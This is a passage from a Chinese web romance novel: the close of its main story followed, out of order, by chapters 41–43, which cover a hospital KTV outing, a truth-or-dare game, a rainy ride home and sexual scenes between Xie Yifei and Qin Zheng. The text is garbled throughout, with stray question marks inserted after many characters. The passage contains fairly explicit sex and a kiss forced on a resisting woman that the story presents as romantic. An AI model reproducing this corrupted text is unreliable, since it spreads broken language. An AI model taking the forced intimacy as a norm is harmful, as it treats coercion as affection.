师母离开后?,秦铮有一段时间很?反常,以往在谢一菲需要他?的时候,不用她说,他?就会出现,但是那段时间,他?像是在逃避什么。 她想起宋良说过那是因为他?不知道该怎么面对她。 当时她能理解师母的离开给作为主?治医师的他?的打击,也能理解他?面对她时会感到自责。但明明更难过的应该是她,那时候他?该做的是给她肩膀给她依靠。但是他?没有。这?让她怀疑他?会不会再?一次突然就从她的生活中?消失,像多年前一样。那种心飘飘荡荡无所依傍的感觉折磨着她。那时候,她以为他?终归是她抓不住的流水握不住的风,所以她选择分手?。 但是这?一刻,她似乎能理解他?了。 谢一菲:“你已经尽力了。” 秦铮抬起头,望着天边铅灰色的云:“医生凡事都该尽力,但又最怕听到这?两个字。这?意味着,已经尽力了,但还是失败了。我妈走的时候,我除了难过什么也做不了。十几年后?面对虞老师时,我能做的已经有很?多了,可是结果还是没有改变。” 谢一菲很?理解这?种心情,师母的离开一度让她觉得?很?讽刺——导师半辈子?的心血 ,还有她的,他?们这?么努力,都留不住自己最亲近的人?。 这?让她一度陷入自我怀疑,怀疑自己这?么多年来做的这?些是否有意义。但是是他?,是那天他?办公室外?的小男孩,还有她无意听到的那段对话改变了她。 “所以你觉得?你所做的一切都没有意义吗?”她早已知道了答案,但她就是想听听他?的想法?。 秦铮说:“最难受的时候确实这?么想过。总有患者问我治疗的性?价比,我最初觉得?很?困惑,如果能治为什么不治呢?后?来我想,如果我存在的意义就是将她们一个个送走,那她们不如不要治疗,还能好好享受人?生的最后?一段旅程。” 谢一菲:“那现在呢?” 秦铮像是思考了一下说:“医学进步再?快,也无法?完全匹配上公众的期望。救治的失败,并不是医学的无能,而是对生命进程的尊重。就算不能治愈所有患者,但我最起码可以让局部严重溃烂、溃烂合并感染、感染至癌臭的患者,变回一个正常人?,有尊严的生活。” 谢一菲想到了一句话——“我们只能相信,这?大概就是渺小人?类最基本的神性?。” 她忽然好想哭。 这?一年她失去了最敬重的师母,好在命运待她不薄,把秦铮留在了她的身边。 他?是命运早已铺设好的伏笔,也是上天给她最好的馈赠。 她忍着泪意笑着问:“对了,你上次说找能做鼓房的装修公司报过方案,是哪家公司?” 秦铮忽然停下脚步看着她:“问这?个干什么?” 谢一菲有点不好意思:“既然鼓房是给我用的,那装修不得?问问我的意见吗?” 那张轻俊的脸在短暂的错愕过后?缓缓绽出一个浅淡的笑,那笑容背后?像是藏着惊喜,似乎也藏着一点如释重负。 “你想好了?”他?问她。 谢一菲:“我那房子?月底又该交租金了,本来就有点犹豫,房东阿姨又要涨价,想想我那微薄的工资,我决定还是去投奔你吧。” 谢一菲态度轻松,对比之下,秦铮就显得?有点严肃。 “你想好了。”他?还是那句话,“我家可不是想来就来想走就走的,搬进来可就别?想轻易搬走了。” 谢一菲故意问:“我想走的时候难不成还不让走啊?” 秦铮:“至少理由不能是什么你喜欢安稳但我是冒险之类的,我怎么就成‘冒险’了?” 秦医生大概没怎么被?女人?甩过,就这?么一次,怨气可真重啊,都多久了,还记得?这?么清楚? “我说的话你怎么记得?这?么清楚?”谢一菲故意说,“哦对了,你记得?,单纯因为你记性?好。” 秦铮:“……” 秦铮:“谢一菲,住我的房子?睡我的人?,对我负点责有这?么难吗?” 谢一菲笑:“我哪有你说的那么渣?” 秦铮抱住她,脸在她发间蹭了蹭,带着点哀求的意味说:“我说真的呢,别?再?离开我了。” 他?们紧紧拥抱着,这?一刻风都无法?将他?们分开。 谢一菲在他?怀里乖巧点点头:“会觉得?十年的分开很?遗憾吗?” 秦铮想了想:“遗憾肯定是会有。不过换一个角度去想,十几岁开始的恋爱,有多少是能善终的?分开旅行,各自成长,也不错。否则我永远不知道什么是爱。” 这?似乎是他?第?一次和她说“爱”这?个字眼。 谢一菲有点好奇地抬起头来:“你觉得?什么是爱?” 秦铮笑着看她:“爱是分享欲,是保护欲,是占有欲……” 他?压低声音:“还有情欲……很?多欲望的集合。” 谢一菲笑:“难怪你之前表现得?那么欲求不满,原来是缺爱呀。” 秦铮掐她的腰:“不是吗?那你说是什么。” 谢一菲:“我才不像你那么肤浅,我觉得?爱很?稀缺。” 秦铮:“有多稀缺?” 谢一菲想了想:“爱是灵魂高度的契合与深度的羁绊。” 就像她和他?。他?们虽然是截然不同的两个人?,但是却能填补着彼此灵魂中?的缺憾。十几年的光阴没有分开他?们,他?们兜兜转转再?次重逢,不可避免地再?次相爱,还成了并肩作战的战友,在未来的路上风雨同舟荣辱与共。 秦铮笑:“那太好了,你要求这?么高,筛选之后?也就只剩下我了。” 谢一菲看着面前的男人?,仿佛又看到了那个十八岁的少年。他?的眼里有光,还有她。这?一刻实在美好得?不太真实。多少人?终其一生寻觅不到的爱,她何其有幸,只用了13年的光阴就找到了。 (正文完) 40-50 第41章 第 41 章 “第一次是什么时候?”…… 来到卫生间, 谢一菲越想越气。 难不成就因为她一开始拒绝了他?,所以他?才这样故意捉弄她吗?还是他?觉得这样很刺激?可他?有没有想过,万一他?们的?关?系被医院的?其他?人发现会有多麻烦? 她有点不想回去, 但她刚来没一会儿,也没和科室里其他?医生说上话,现在就走?相当于白来了,后面工作还是不好开展。 谢一菲用凉水洗了脸, 又磨蹭了好一会儿,直到卫生间里进来了其他?人,她才离开。 和大多数的?KTV一样, 这家KTV装修得金碧辉煌,走?廊四通八达, 稍有不慎可能就会迷路。 所幸谢一菲还记得包间号,一路边走?边找, 终于看到他?们那个包间时, 包间门恰巧被人拉开, 秦铮一边打着电话一边从里面走?了出来。 很显然他?也看到了她,但他?面上没什么表情,像是在专心打电话。 谢一菲松了口气, 而就在她即将从他?身边经?过时,他?忽然结束了通话。 想掉头离开已经?来不及了,几乎是在他?挂上电话的?同时, 她就感到手?腕一紧,然后整个人被一股大力拉扯着向后踉跄几步。 “你要干什么?” 她一边试图挣脱开他?的?手?, 一边又不得不警惕观察四周,生怕被什么熟人撞见。 而就在这时,谢一菲看到他?们那个包间的?门再度被人打开。 眼看着里面的?人即将走?出来, 谢一菲心如?死?灰,看来他?俩这关?系是彻底藏不住了。 然而就在她和对方打上照面的?前一秒,她被秦铮拉进了旁边的?空包厢。 门刚关?上,她就听到熟悉的?声音从门外传来,好像是何?婷婷他?们。 “你说我要干什么?” 还没等她回过神来,面前的?男人已经?霸道又强势地吻了下来。 心里还憋着一口气,谢一菲并不配合,但又不敢发出太大的?声音,以至于被秦铮长驱直入攻城略地,直到听到门外的?人渐渐走?远,她才敢放开手?反抗。 可惜男女?力量悬殊,折腾了一会儿,她倒在沙发上彻底没了力气,索性任由他?吻。他?从一开始的?蛮横霸道逐渐变得温柔缱绻起来,而她在他?的?调动下也慢慢有了感觉,开始情不自禁地回应他?。 似乎是感受到了她的?顺从,他?的?动作变得更加肆意,手?在她身上游走?,最后去了它刚才就想去的?地方。 门外的?音乐声很遥远,就显得这间包间与世隔绝般的?安静,静到只有两人接吻的?声音、衣料摩擦的?声音,还有谢一菲自己的?心跳声。她听得面红耳赤,却忍不住把他?拥得更紧一点。 不知过了多久,她终于像是泄了气的?气球一样软绵绵的?摊在沙发上,而他?却还有力气撑在她的?上方看着她,看着她逐渐平息了情绪。 他?问她:“我叫你来的?时候你怎么不来?” 这人果?然在为这件事?生气。 谢一菲:“我一开始以为是你们部门的?聚会,后来才知道不是。” 秦铮:“你那几个学生是我让何?婷婷叫来的?。” 谢一菲怔了怔,意外地抬起头看他?。 秦铮:“他?们不来,你愿意来?” 居然都是为了见她。 谢一菲:“我不是说了,可以等你结束时来找你。” “这帮家伙玩起来结束时都不知道几点了。” 原来他?不只想见她,还是迫不及待地想见她。这个认知让谢一菲的?心情很微妙。 她的?脑海中仿佛出现了两个她,一个是即将滑向深渊的?她,一个是站在崖边冷静凝视深渊的?她。 她推开秦铮,起身整理被弄乱的?头发和衣服,生硬地转移了话题,“听说你和宋医生是同学。” 听到宋良的?名字,秦铮立 刻露出嫌弃的?神色:“不算什么同学,校友而已。怎么,他?跟你说什么了?” “就打了个招呼。” “以后离他?远一点。” 谢一菲不明所以:“你们关?系不是很好吗?” 秦铮起身:“说不准哪天就不好了。” 谢一菲觉得好笑:“男人的?友谊也这么脆弱吗?” 秦铮:“对,尤其是在某些特定的?时候。” 谢一菲好奇:“什么特定的?时候?” 秦铮没有回答这个问题,而是问她:“还想回去吗?” “当然了。” 之前不打算来也就算了,现在她的?学生都在里面,她来了以后还没和别人说上几句话,这个时候就走?显然不合适。 秦铮:“那走吧。” “等等。”谢一菲叫住他?,“还是我先回去吧,你过一会儿再回来。” 秦铮沉默看了她片刻,这才点点头,示意她先走?. 再返回包间时,谢一菲本想低调地溜进去,结果?一推门就发现音乐不知道什么时候停了,原本昏暗的?包间里竟然灯火通明,而包间里的?所有人都正看着她。 那一瞬间,谢一菲脑子里只有一个念头,难不成她和秦铮的?关?系已经?被人发现了? 周遭有短暂的?安静,直到身后传来秦铮的?声音:“怎么不进去?” 不是说让他?等几分钟再进来吗?这下更说不清楚了! 何?婷婷:“你俩去哪了,都等你们半天了?” 谢一菲脑子里乱糟糟的?,已经?不知道该怎么应对了。 秦铮闲庭信步地绕过她走?进了包间:“出去抽了根烟,怎么了?” 何?婷婷:“大家都说光唱歌没意思,于是我们决定做游戏,就等你们俩了。” 秦铮:“是大家说的?还是你说的??” 何?婷婷嘿嘿笑:“当然是大家,我又不是您,哪有那么大号召力?” 说着何?婷婷又朝门口的?谢一菲招手?:“谢老?师快来啊!” 谢一菲这会儿才回过神来,此?地无?银三百两地解释了一句:“刚出去接了个电话,你们打算玩什么?我不太会做游戏。” 何?婷婷没察觉出什么不对:“真心话大冒险,你肯定会。规则很简单,这有一副牌,我们按人头拿出16张,其中有一张大王和一张小王,其他?都是普通牌。一会儿每人抽一张,抽到大王的?人可以要求抽到小王的?人回答一个问题或者完成一次大冒险。” 有人问:“真心话或者大冒险是抽到小王的?人自己选择吗?” “还是抽到大王的?人决定吧,感觉这样更有意思点。” 众人七嘴八舌地帮忙完善规则,倒是没有人再纠结刚才谢一菲和秦铮为什么会一起回来的?事?了。 她悄悄松了口气,找到一个不起眼的?位置坐下,一抬头,却对上了李灿探究的?眼神。 她礼貌性地朝对方笑笑,李灿却只是漠然移开了视线。 讨论完游戏规则,游戏开始。谢一菲接连好几局抽到普通牌,她正好乐得如?此?,可以低调地看别人的?热闹,倒是秦铮今晚运气爆棚,十次有六七次都抽到了大王。 不过这就苦了拿到小王的?人,因为秦铮也不搞什么大冒险,每次只提问,也不问那些大家感兴趣的?八卦,问的?全?都是专业问题,搞得游戏跟考试一样。 几轮下来,众人叫苦不迭,宋良更是直接骂骂咧咧:“是不是今晚让你买单,所以你心怀怨气故意搞大家?” 秦铮面无?表情:“有本事?你运气好一次。” “你最好祈祷今晚别落我手?上,否则……哼哼,到时候你们记得给我配上专属的?BGM,难忘今宵。” 众人嘻嘻哈哈你一言我一语给他?加油,结果?戏剧性的?一幕还真就来了。 接下来的?一轮真被宋良抽到了大王,而拿到小王的?人恰巧是秦铮。 宋良小人得志地把牌扔在桌子上:“善恶到头终有报,不是不报只是时候未到啊!” 秦铮瞥了眼旁边的?何?婷婷,嫌弃道:“怎么洗的?牌?” 何?婷婷吐吐舌头:“真没作弊,这可能就是天意吧。” 宋良:“别怪兄弟不关?照你,真心话还是大冒险,让你选。” 秦铮:“规则就是规则,你定吧。” “那就别怪我不客气了。”宋良不怀好意地笑,“第一次是什么时候?” 这问题对别人来说或许不算什么,但对秦铮来说绝对算是很越界的?了。如?果?提问的?人不是宋良,如?果?不是在今天这种场合,谁敢问秦医生这种问题? 周遭有胆子大的?立刻跟着起哄玩笑,也有害羞的?女?生暗搓搓地好奇着答案。 谢一菲在这嘈杂的?哄笑声中想到了那年学校门前的?那家小旅馆,想起泛着潮意的?白色床单,空气中腐朽沉闷的?味道,还有那推不开的?半扇窗,以及窗外嗡嗡作响的?空调挂机。 他?们在那里交付了自己的?第一次,但她并没有体会到小说中描写的?那些美好感受,那一刻她心中甚至充满了恐惧,而那种恐惧让她想到了自己第一次躺在牙医的?诊疗床上准备拔牙时的?感觉。 当然心情和拔牙时相比也有不同,因为对手?是他?,又让她矛盾地期待着即将发生的?一切。 那一晚,他?们都像是最虔诚严谨的?学生,把对方的?身体当成书本和教具,仔细的?探索和研究,哪怕是痛也乐此?不疲。 她第一次见识到,少年人的?精力可以那么旺盛,从入夜到天明时分,他?们才在疲惫中不舍地结束了那一夜。 第42章 第 42 章 “以后少给我乱点鸳鸯谱…… 秦铮:“换一个。” 这倒是让众人很?意外, 他们认知里的秦医生虽然很?难以取悦,但?也不是个忌讳很?多的人,更不是个会在游戏中扭扭捏捏的人。 宋良:“刚才是谁说?规则就是规则的?怎么这会儿突然变了?有?没有?点娱乐精神啊?” 秦铮还是那句话:“换一个。” 见他无论如何不愿意回答, 宋良就更好奇这个问?题的答案了,可?不管他说?什么,秦铮就是不接招。 宋良最了解秦铮,知道他不愿意说?的谁都问?不出来, 最后只能妥协,但?他也暗暗记下了这个问?题,打算以后再找机会旁敲侧击的八卦一下。 “算了算了, 看在你学生也在场的份上给你点面子,那接下来的你可?不能再拒绝了。” 秦铮不置可?否, 凉凉看他一眼,那意思不用多说?, 就是让他出题时悠着点。 宋良召集众人帮他出主?意, 大家七嘴八舌的提了几个, 但?在宋良看来都挺没劲的。 最后,宋良说?:“不能浪费了今天这场合,大家都还没听过你唱歌, 那你就给我们唱首歌吧。” 因为没听过,所以大家对他唱歌的期待不亚于?刚才那个问?题。 而且这要求一点不过分?,秦铮再没理?由拒绝。 秦铮也的确没拒绝, 他干脆利落地起身走?去点歌机给自己点了首歌,然后拿着话筒站到了大屏幕前。 他今天穿了件休闲款的白色长袖衬衫, 下摆散在裤子外面,一手握着麦克风,一手插在裤子口袋里, 站姿很?悠闲,也很?倜傥。屏幕的光打在他的侧脸上,光影明暗中,他的五官更加的立体?。 “今天忽然发现老板好帅!” 有?人笑何婷婷:“你是今天才发现的吗?” 这还没开唱,台下就已经飞满了粉红泡泡了。 直到前奏响起,周遭才安静了下来。 旋律很?熟悉,是一首经典的粤语老歌,《伤感?的恋人》。 “风中雨点,沾湿了身。长夜已降临,延续了苦困。” 在这之前谢一菲也没听过秦铮唱歌。以前两人在一起的时候正是她最迷恋黄家驹的时候,那时候就觉得会唱歌的男人很?帅,有?那么几次她说?想听他唱,但?他一次都没满足过她。她以为他不肯唱是因 为五音不全,可?是今天他一开口,她就知道是自己想错了。 他不但?每个音都很?准,而且唱歌时的声?音比他说?话时更低沉,也更有?磁性,让她更意外的是,他的粤语发音这么标准,这些歌词被他唱出来,别有?一番腔调。 “不知道原因,只想再等。然后你飘至,仍带来伤感?。挤熄了烟,满脑疑问?。颤抖中亲吻,凝望你转身……” 何婷婷:“哇,这声?音也太苏了吧,我都快黑转粉了!上帝究竟给我老板关上了哪扇窗啊?” 还有?男生说?:“我快被秦医生掰弯了怎么办!” 不怪他们会这么想,谢一菲也很?想知道,还有?什么是他不会的。 他太耀眼了,耀眼到很?少有?人能避开他的光芒,能不被他吸引,看在场的其他女?生的表现就知道了,尤其是李灿,那目光中是随便谁都能看得出的倾慕。 前有?巧巧,后有?李灿,不知道以后还有?谁,爱他的人实在太多了,在这条拥挤的路上,她不知道自己还能走?多远。 不知道是有?意还是无意,唱到“哪可?以封锁你,愿你待我认真”的时候,谢一菲觉得他忽然看向了自己,那一瞬,她的头脑是空白的,她怀疑是她自作多情,可?再想确认的时候他已经移开了视线。 心里漫上一丝失落,她忽然有?点后悔当初那个和他“玩玩”的决定,与虎谋皮,这一次她真能全身而退吗? 一首歌结束,大家显然还意犹未尽。 宋良带头鼓掌:“可?以啊,咱哥俩认识这么多年,第?一次知道你还有?这一手,是不是以前只给妹子唱了?” 秦铮懒得搭理?他,坐回位置:“还继续吗?” 宋良:“当然了,这才抓到你一次,怎么够?” 宋良斗志昂扬地张罗着大家继续游戏,可?惜他的好运气只是昙花一现,倒是秦铮,今晚的运气实在太好,又?接连抽到几次大王,在场众人几乎被他考了个遍,直到最后一次,小王落在了谢一菲手里。 谢一菲其实是有?点紧张的,因为她这人性格算不上多外向,而且今天在座大部分?都是工作上认识的不算太熟悉的人,如果真让她回答一些太隐私的问?题或者做些太出格的事,她还是会觉得有?点为难。 但?其他人见是谢一菲可?都松了口气,毕竟谢一菲不是秦铮的学生也不是学医的,再问?那些专业方面的问?题就不合适了,终于?可?以做点正常人该做的游戏了吧。 大家七嘴八舌地提醒秦铮,还有?帮秦铮出主?意的,比如何婷婷。 因为座位离秦铮有?点远,怕他听不清,她特意写了个纸条递过去。 其实她的本意是帮谢一菲的,怕他老板听了宋良那几人出的馊主意让谢一菲为难,所以特意写了个很?无关痛痒的问题给秦铮。 秦铮看了一眼纸条上的内容,随手把纸条揉进手心:“那就这个吧。” 何婷婷朝谢一菲眨了眨眼以示安抚,谢一菲回以感?激的一笑。 秦铮扫她们二人一眼,最后目光落在谢一菲身上:“谢老师交过几个男朋友?” 何婷婷怔了怔:“不是……您是不是看错了?” 秦铮瞥她一眼:“要不你来问??” 何婷婷只好悻悻闭上嘴,不过幸好这个问?题也不算难回答,至少没问?她第?一次是什么时候。 可?是这么简单的问?题,谢一菲却?也没办法立刻就给出答案。 宋良见状打趣谢一菲:“是不是太多了数不过来了?” 谢一菲沉默了片刻说?:“两个。” 秦铮的表情中闪过一丝意外,但?很?快他就像是想明白了什么,微微一哂:“也不多啊,要想这么久吗?” 谢一菲有?点不明白他这话是什么意思,但?她能感?觉到他似乎有?点不高兴,可?这回答有?什么问?题吗? 宋良追问?:“两个都是前任吗?” 这司马昭之心太明显了,立刻惹来一番周遭人的调笑。 她笑了笑说?:“这是第?二个问?题了吧?等我下次落到宋医生手上时再问?我吧。” 她抬起头,正对上秦铮似笑非笑的表情。 李灿对谢一菲的感?情问?题显然没什么兴趣,拿过秦铮手里的牌催促开启下一轮。 但?在这之后,秦铮的兴致明显不如刚才,玩了两局就出去抽烟了。 何婷婷似乎也感?觉到了秦铮的情绪变化,小声?跟谢一菲说?:“看见了吧,今天的情绪真的很?不稳定,估计是赶上男人每个月的那几天了。” 谢一菲:“你这么说?他他知道吗?” “不知道,所以如果他知道了,肯定是你出卖我。” 谢一菲莞尔。 何婷婷又?说?:“对了,我刚才在纸条上写的可?不是那个问?题,我问?的是你现在带几个学生,老板是不是看错了?不过这两个问?题也差太多了。” 谢一菲想到刚才听到她的答案时他的表情。是他觉得她有?所隐瞒,所以不高兴了吗?还是觉得他们的关系算不上正经的恋爱,她不配以他女?朋友的身份自居,所以那个回答让他觉得被冒犯了? 秦铮的烟抽了很?长时间,久到谢一菲以为他已经提前离开了,但?散场时又?在楼下见到了他。 不知什么时候外面下起了雨,这会儿也没见转小。 大家堵在门口,同路的人约着一起走?,打车的打车,叫代驾的叫代驾。 谢一菲看到秦铮身边站着李灿,猜他或许会送别人,于?是拿出手机来打车。何婷婷跟谢一菲算顺路,她们说?好一起走?。 天气不好,打车的人都在排队。还好B大的研究生宿舍有?严格的门禁,谢一菲的那几个学生早就回去了。 又?等了一会儿,秦铮叫的代驾最先到,秦铮拉开车门上了副驾驶,本以为李灿也会跟着上车,但?却?迟迟不见李灿动作。 正在这时,副驾驶位的车窗降下,秦铮看向谢一菲,有?点不耐烦地催促道:“愣着干嘛?还不上车?” 霎时间,所有?人都看向她,谢一菲心虚地想当没看见,还好她身边站着何婷婷,何婷婷以为秦铮在叫她,连忙拉着谢一菲上了车。 谢一菲悄悄松了口气,还好有?何婷婷作掩护,也不至于?被人看出什么端倪来。 车子驶出停车场,何婷婷笑嘻嘻地对秦铮说?:“还以为您要抛弃我们去送李医生呢。” 秦铮:“不想坐吗?不想坐就下车。” 何婷婷:“我这不是也担心坏您好事吗?没坏就好。” 秦铮:“你是没坏我好事,但?你坏我心情。” 何婷婷:“我现在总算知道老天爷给您关上哪扇窗了,您是真不会好好说?话啊。” “你怎么不说?那扇窗是你呢?” 他们师生又?开始日?常斗嘴,谢一菲早已习惯,乐得看热闹。 车子转弯时,谢一菲回头看了一眼,KTV门前一群人在等车,李灿正望着他们离开的方向,看着孤零零的。 何婷婷又?问?:“您刚才消失那么久干什么去了?” 秦铮顿了顿:“这么无聊的聚会也就你还乐此不疲,中途打算走?的,但?发现下雨了,猜你们结束时应该不好打车,就多等了一会儿。” 谢一菲有?点意外他没提前走?竟然是因为这个。 何婷婷:“老板,以前没发现您这么周到有?耐心。” 秦铮:“知道就好,以后少给我乱点鸳鸯谱。” 何婷婷喊冤:“冤枉啊,又?不是我点的。” 秦铮瞥她一眼:“不是你是谁?” 何婷婷被看得有?点心虚:“真不是我……可?能是您的某位黑粉吧。” 秦铮微微一哂:“我的头号黑粉不就是你吗?我的声?誉就是这样被败坏的。” 谢一菲仔细一想,好像还真是这样,何婷婷私下里确实没少吐槽秦铮。她以为他不知道,现在想想,他这么敏锐的一个人,不理?会也只是不在意罢了,或者是他也清楚,小丫头就是嘴上吐槽吐槽他而已,内心里是没有?恶意的。 “您什么时候这么在意自己的声?誉了?” “我不该在意吗?” “不是……您要是在意,您会一个接一个的换女?朋友吗?光我就见过好几个了……”何婷婷掰着手指头如数家珍,“比如之前有?个个子很?高的栗色头发的美女?,还有?护士 长妹妹……” 秦铮没好气地打断她:“一个是病人家属,一个就是同事亲戚,怎么到你嘴里都变味儿了?” “那还有?一个短发辣妹。对了,还有?泌尿外科的王医生呢?有?段时间总看你们一起吃饭,不是谈恋爱难道是您找她看病啊?” “咳咳咳……” 谢一菲忍了大半天,这一次实在没憋住。车里的人都看她,她觉得有?点尴尬,掩饰性地去降下车窗透气,然而雨水很?快打进来,她只好又?把车窗升回去。 她上上下下和他的车窗较劲,秦铮也没在意,回答何婷婷刚才的话:“就不能是她找我看病吗?” “啊?” 这显然出乎了何婷婷的预料:“我怎么不知道?那她怎么样?” “没什么大事。” “哦。”何婷婷点点头,片刻又?想起什么,笑嘻嘻地说?,“其他人您都反驳我了,好像就那个短发辣妹您没解释,那美女?我在医院附近就见过好几次了,这个该是您女?朋友了吧?” 如果谢一菲没猜错的话,何婷婷说?的这个短发美女?应该是巧巧。 原来他还把她带到医院过,还不止一次,或许他们的关系并不像他说?的那样简单。 谢一菲看向车窗外,雨好像没刚才那么大了,路边一对小情侣正在小雨中打闹。 “停车。”秦铮对代驾司机说?。 何婷婷:“为什么在这停?谁要下车?” “你。” “不是……我还没到呢。” “没多远了,雨也不大了,下车吧。” “别啊,这少说?一公里呢。” 代驾司机犹犹豫豫地看向秦铮。 秦铮说?:“再说?废话就下车。” 何婷婷不满地朝谢一菲做了个鬼脸,但?在后面的这段路上也只能乖乖保持安静。 过了一会儿,送走?了何婷婷,车子便朝着谢一菲家的方向驶去。 但?没开多久,又?被秦铮叫停。 看他推门下了车,谢一菲以为他是哪里不舒服,却?见他拉开后排车门,裹挟着一身潮湿的风坐了上来。 “走?吧。”他吩咐司机。 第43章 第 43 章 谢一菲只觉得眼前光线一…… 车子重?新上路, 谢一菲感到右手被人握住。 秦铮的手指修长,指甲总是修剪的圆润干净,泛着健康的光泽。 他说?:“有那么几次是她没打招呼就来了?, 我工作很忙,除了?患者一般没时间见其他人,以后别听何婷婷那丫头瞎说?。” 谢一菲愣怔了?一下,才明白过来他说?的是巧巧去医院找他的事。 “你在意吗?” 她想问的是, 他特意对她解释这些,是因为他在意她的想法吗? 可是那问话一出口,她就已经后悔了?。 她怕他说?在意, 更?让她分不清真情和?假意,又怕他说?不在意, 即便是事实,她也不愿听他亲口说?出来。 见他不明所以地看过来, 她说?:“没什么?” 她转头看向窗外, 最先映入眼帘的却是车窗玻璃上她的影子, 还有他的。 他忽然问:“你希望我在意吗?” 这问题竟然又抛给了?她,原来他什么都明白。 在有些方面?,她或许永远都不是他的对手。 她正不知道该怎么回?答, 又听到他清冷的声音说?:“我在意。” 谢一菲愣住了?。 脑海中的那两个?“她”好?像又出现了?,一个?在脸上洋溢着甜蜜的笑容,另一个?冷静得可怕。 她又想起他曾经说?过的话:“我不需要用心就能让别人觉得我在用心, 这或许和?读书一样,是一种?天赋吧。” 她想, 她怕是永远也忘不了?这句话了?。 不一会儿,前?面?就是谢一菲家所在的小区了?。 老小区到了?这个?时间连马路牙子上都停满了?车,今天又下了?雨, 谢一菲担心小区里面?不好?走,就让代驾把车停在了?小区门口。 她下了?车,秦铮也跟着下了?车:“送你进去。” 此时的雨几乎停了?,风还是湿乎乎的,透着点初秋的凉意。 两人并肩走着,路灯将两个?人的影子拉得长长的,一个?高大,一个?纤瘦,投在坑坑洼洼满是水坑的路面?上。忽然间,高大影子抬起手将纤瘦影子快速拉入怀中,两个?影子在那一瞬间重?叠成了?窄窄的一条,与此同时,一辆车从他们身?边经过,路过一处水坑溅起小小的水花。 “怎么也不看路?”他有点埋怨地说?。 然后自然而然地绕到路的外侧,拉起她的手继续往回?走。 初秋的夜晚有点凉,但他的手却是温热的,包裹住她的,将温度一点点渡给她。 她想到了?很多年前?,在那个?老旧的家属院外,他们也曾这样安静地牵着手,走在早就不怎么明亮的路灯下。她忽然想,如果当年,他能一直那么好?,没有突然离开,那该有多好?。 很快到了?谢一菲家楼下,她停下:“那我先上去了?。” 他点点头,却没有立刻松开手,带着薄茧的拇指轻轻摩挲着她的手腕。 也不知道是不是喝了?酒的缘故,他整个?人少了?平日里的凌厉,好?像更?温和?、更?沉默,也更?像十年前?的那个?他。 谢一菲:“你今天没少喝酒吧?那就早点回?去休息吧。” 沉默了?片刻后,他说?“好?”,然后松开了?她的手。 谢一菲走向单元门,却一直没听到身?后有离开的脚步声,临进门前?,她回?头看了?一眼,看见他也正看着她。 她顿了?顿收回?视线,转身?上了?楼。 进了?家门,她像往常一样换衣服、洗澡,但不管做什么都有点心不在焉,最后她来到了?窗前?。 孤寂的路灯下,男人的身?影同样孤寂。 她住的楼层不算高,可以看得很清楚。 她看到他单手插在裤子口袋里,微垂着头,像是在抽烟。 她在窗前?站了?很久,陪着他把一支烟抽完,见他依旧没有要离开的意思,她犹豫了?一下拿起旁边的手机,按下了?他的号码。 片刻后,视线中的男人接起电话,也不出声,就那么安静等着,像是等着她先开口。 “怎么还没走?” 他似有所感地抬起头来。 她刻意没有开灯,不知道外面?的人能看到多少,但他就那么看向她,好?像在面?对面?和?她说?话。 “抽支烟醒醒酒。” “不是抽完了?吗?” “在等司机。” “刚才的司机呢?” “怕他等太久,让他先走了?。” “那新叫的司机快来了?吗?” “快了?吧。” “好?,那你路上注意安全。” 说?完,谢一菲挂上了?电话,回到卫生间吹头发。 片刻后,门铃响了?,那一瞬间,刚才空落落的心因为一阵风的吹入变得充盈了?起来。 今晚在她回?答那个?问题前?,他们之间的气氛都还算正常,可在那之后就有什么东西悄然变了。虽然不知道原因是什么,和?她那个?答案有没有关系,但她就是敏锐地察觉到了他的情绪不对劲,他们之间也不对劲。 就像今夜的这场雨,此时虽然停了?,但依旧不见月光,可见这雨没有下透。 但是这一刻,风将遮挡住月亮的阴云撕开了?一条缝隙。 门打开,一阵湿凉的风卷进屋内,谢一菲只觉得眼前?光线一暗,她被来人以一个?不容拒绝的姿态吻住。 熟悉的味道充斥着她的五感,和?下午那会儿不同,她几乎是毫不迟疑地,热烈地回?应对方,让下午那场没尽兴的亲热有了?后续。 她被他吻得不住后退,片刻后来到她刚才伫立的那扇窗前?。 睡裙下摆被人撩起,他发了?狠的揉她,像是要将满腔的情绪都发泄在她的身?上,她也毫不客气地去咬他的唇。 明明该是很温存的事,两人却像是在较劲,谁也不肯让一步。 她不喜欢这样,看不透他又不受控制地被他牵动着情绪,和?十年前?的自己?相比,一点长进都没有。 心像是被撕裂了?,压抑许 久的情绪从那裂缝中涌出。身?体?也是。 她偏过头,窗玻璃冰凉,对比之下,她脸上温度很高,她甚至怀疑自己?是发烧了?。窗外树影婆娑,她觉得自己?就像那颗细瘦的树,膝盖是被夜风吹折的树枝,膝盖以下的部分要断不断的,在风中一荡一荡。对比之下他的小臂青筋鼓胀蓄满了?力量。 她也说?不上自己?是怎么了?,莫名其妙地,眼泪不听使唤地流了?出来。察觉到她在哭,风都停了?,那股不管不顾的劲道终于消失了?。 大约是许久没有见过她流泪,他起先有点意外,继而关切地看着她。她听到他问她是不是很疼,那声音好?像很近又好?像很遥远。 谢一菲摇摇头。 其实只有他刚进来那会儿有点痛,但他就像一剂春要,很快将冰冷的她融化?成水。流泪只是因为莫名的憋屈。 他没有从她身?体?里离开,但也没有再继续,只是温柔拥抱住她,亲吻她的面?颊,安抚她的情绪,直到脸上的泪痕干了?,他才像抱孩子一样将她抱起往卧室走去。 她顺从地环住他的脖子,把脸埋进他的颈窝。 很奇怪,无?论是她的眼泪还是刚才的骤然刹停都没能熄灭他的浴望,随着他的走动,她能清楚感受到两人之间的碰撞和?摩擦。 谢一菲体?会着那种?微妙的感觉,体?会着他带给她的快乐,先是一点一点,然后越来越多,聚集在一起……但是那个?冷静的自己?却在扫兴地感慨男女之间的感情总是很难对等,女人的感情可以很纯粹,而在男人那里,纯粹的大概只有性。 家里的窗是开着的,静谧的夜里偶有人经过,对方说?了?什么,楼上的人都听得清清楚楚。 谢一菲怀疑自己?刚才发出的声音也被别人听到了?,这么一想,就不免紧张。 还没走到床边,秦铮忽然站住不动:“故意的?” 她愣怔了?一下才明白过来他什么意思,狠狠在他肩膀上咬了?一口。 他似乎感觉不到疼痛,非但眉头都不皱一下,甚至还笑了?。 最后,她被他放在铺满月光的床上,床单微凉,是和?他的皮肤完全不同的触感。 他在她面?前?脱掉衬衫,里面?还有一件白色T恤,男人双手抓住T恤下摆,动作利索地将其脱掉。 月光下,他的肌肉线条流畅又蓄满了?力量,谢一菲很难不情动,她甚至怀疑,那情动早已在她身?下汇成了?一条河。担心他注意到,她忽然有点别扭。 可秦铮何其敏锐,这种?时候也能察觉到她的情绪变化?。 他低声在她耳边问她哪不舒服。 他这样,让她有一种?他很温柔的错觉。 